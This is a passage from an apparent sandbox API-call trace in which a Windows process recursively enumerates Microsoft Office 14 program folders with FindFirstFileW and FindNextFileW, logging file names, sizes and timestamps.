dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0062.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0062.939] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.941] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0062.957] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0062.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4005898 | out: hHeap=0x5c0000) returned 1 [0062.960] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0062.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0062.962] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.962] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0062.963] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0062.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4005898 | out: hHeap=0x5c0000) returned 1 [0062.965] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0062.965] FindClose (in: hFindFile=0x6b45e8 | out: hFindFile=0x6b45e8) returned 1 [0062.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ff5890 | out: hHeap=0x5c0000) returned 1 [0062.966] FindNextFileW (in: hFindFile=0x6b4568, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0062.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b45e8 [0062.966] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.966] FindNextFileW (in: hFindFile=0x6b45e8, lpFindFileData=0x2edeb9c | out: lpFindFileData=0x2edeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0062.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0063.111] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.111] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2ede920 | out: lpFindFileData=0x2ede920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0063.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x2ede6a4 | out: lpFindFileData=0x2ede6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4528 [0063.414] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x2ede6a4 | out: lpFindFileData=0x2ede6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.414] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x2ede6a4 | out: lpFindFileData=0x2ede6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0064.163] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0064.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0064.212] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.213] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0064.213] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f24878 | out: hHeap=0x5c0000) returned 1 [0064.215] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0064.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0064.216] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.216] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.216] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0064.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f24878 | out: hHeap=0x5c0000) returned 1 [0064.217] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.217] FindClose (in: hFindFile=0x6b43e8 | out: hFindFile=0x6b43e8) returned 1 [0064.217] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f14870 | out: hHeap=0x5c0000) returned 1 [0064.218] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0064.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b43e8 [0064.219] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.219] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0064.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0064.221] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.221] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0064.221] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0064.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0064.221] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0064.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0064.222] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.222] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0064.222] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0064.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0064.222] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0064.222] FindClose (in: hFindFile=0x6b43e8 | out: hFindFile=0x6b43e8) returned 1 [0064.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0064.222] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0064.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b43e8 [0064.238] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.238] FindNextFileW (in: hFindFile=0x6b43e8, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0064.239] FindClose (in: hFindFile=0x6b43e8 | out: hFindFile=0x6b43e8) returned 1 [0064.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0064.241] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0065.740] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0065.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0065.819] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, 